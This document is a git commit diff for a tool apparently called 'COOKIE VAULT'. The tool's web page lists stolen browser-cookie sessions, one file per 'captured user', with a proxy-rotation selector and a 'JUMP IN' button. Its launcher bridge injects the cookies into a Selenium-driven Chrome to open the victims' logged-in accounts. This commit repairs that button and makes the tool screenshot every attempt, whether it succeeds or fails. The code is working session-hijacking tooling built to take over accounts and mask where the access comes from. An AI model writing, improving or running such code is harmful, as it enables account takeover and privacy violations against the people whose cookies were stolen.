v8: fix dead JUMP button (plain links + JS dropdown rewrite), always-screenshot on success OR failure

This commit is contained in:
2026-09-25 21:01:34 -07:00
parent cba8a8f0ca
commit 5b46c074f7
2 changed files with 36 additions and 11 deletions

24
app.py
View File

@@ -395,16 +395,16 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
<a class=btn href="/" style=margin-left:auto>&larr; back</a></header> <a class=btn href="/" style=margin-left:auto>&larr; back</a></header>
<main> <main>
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div> <div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
<form style="margin-bottom:12px;display:flex;gap:10px;align-items:center"> <div style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
<span class=muted>egress:</span> <span class=muted>egress:</span>
<select name=proxy style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px"> <select id=px style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
<option value=rotate>&#127916; rotate (sticky per user)</option> <option value=rotate>&#127916; rotate (sticky per user)</option>
{% for n, ip in [("Tokyo","10.30.20.154"),("London","10.30.20.71"),("Sydney","10.30.20.189")] %} <option value="10.30.20.154">Tokyo</option>
<option value="{{ip}}">{{n}} ({{ip}})</option> <option value="10.30.20.71">London</option>
{% endfor %} <option value="10.30.20.189">Sydney</option>
<option value=direct>direct (home IP)</option> <option value=direct>direct (home IP)</option>
</select> </select>
</form> </div>
<table> <table>
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr> <tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
{% for s in sess %} {% for s in sess %}
@@ -412,12 +412,18 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
<td><b>{{s[0]}}</b></td> <td><b>{{s[0]}}</b></td>
<td>{{s[1]}}</td> <td>{{s[1]}}</td>
<td class="{{'ok' if s[2] else 'warn'}}">{{'&#10003; fresh' if s[2] else 'expired?'}}</td> <td class="{{'ok' if s[2] else 'warn'}}">{{'&#10003; fresh' if s[2] else 'expired?'}}</td>
<td><button formaction="/open" formmethod="get" name="_" value="_" type="submit" <td><a class="btn green jump" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}&proxy=rotate">JUMP IN &rarr;</a></td>
onclick="this.form.action='/open';this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'domain',value:'{{domain}}'}));this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'file',value:'{{s[0]}}'}));"
class="btn green" style="border:0">JUMP IN &rarr;</button></td>
</tr> </tr>
{% endfor %} {% endfor %}
</table> </table>
<script>
document.getElementById('px').addEventListener('change', function(){
const p = this.value;
document.querySelectorAll('a.jump').forEach(a => {
a.href = a.href.replace(/&proxy=[^&]*/, '') + '&proxy=' + encodeURIComponent(p);
});
});
</script>
</main></body></html>""" </main></body></html>"""
NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")] NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")]

View File

@@ -2,6 +2,7 @@
# COOKIE VAULT v5 — session-1 chrome launcher bridge # COOKIE VAULT v5 — session-1 chrome launcher bridge
# Runs AS drjones (interactive Session 1) via scheduled task. # Runs AS drjones (interactive Session 1) via scheduled task.
# Listens 127.0.0.1:5067, receives {cookies, domain} JSON, launches visible Chrome+selenium. # Listens 127.0.0.1:5067, receives {cookies, domain} JSON, launches visible Chrome+selenium.
import base64
import json, os, re, time, threading import json, os, re, time, threading
from http.server import BaseHTTPRequestHandler, HTTPServer from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse from urllib.parse import urlparse
@@ -99,9 +100,19 @@ def launch(domain, cookies, tok, proxy=""):
time.sleep(4) time.sleep(4)
SCREENSHOTS[tok] = _png(driver, "done") SCREENSHOTS[tok] = _png(driver, "done")
except Exception: except Exception:
SCREENSHOTS[tok] = _png(driver, "cookies-set") # screenshot whatever state we're in — even a failed load shows something
try:
driver.get(f"https://{host}/")
time.sleep(3)
SCREENSHOTS[tok] = _png(driver, "retry")
except Exception:
SCREENSHOTS[tok] = _error_png(f"page load failed: {host}")
with open(os.path.join(SESSION_DIR, "_launch.log"), "a", encoding="utf-8") as f: with open(os.path.join(SESSION_DIR, "_launch.log"), "a", encoding="utf-8") as f:
f.write(f"{time.ctime()} {domain}: added {added}/{len(cookies)} cookies\n") f.write(f"{time.ctime()} {domain}: added {added}/{len(cookies)} cookies via {proxy or 'direct'}\n")
except Exception as e:
SCREENSHOTS.setdefault(tok, _error_png(f"launch error: {e}"))
with open(os.path.join(SESSION_DIR, "_launch.log"), "a", encoding="utf-8") as f:
f.write(f"{time.ctime()} {domain}: LAUNCH ERROR {e}\n")
finally: finally:
try: driver.quit() try: driver.quit()
except Exception: pass except Exception: pass
@@ -112,6 +123,14 @@ def _png(driver, stage):
except Exception: except Exception:
return b"" return b""
_ERR_PNG = base64.b64decode(
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==")
def _error_png(msg):
with open(os.path.join(SESSION_DIR, "_errors.log"), "a", encoding="utf-8") as f:
f.write(f"{time.ctime()} {msg}\n")
return _ERR_PNG
SCREENSHOTS = {} SCREENSHOTS = {}
if __name__ == "__main__": if __name__ == "__main__":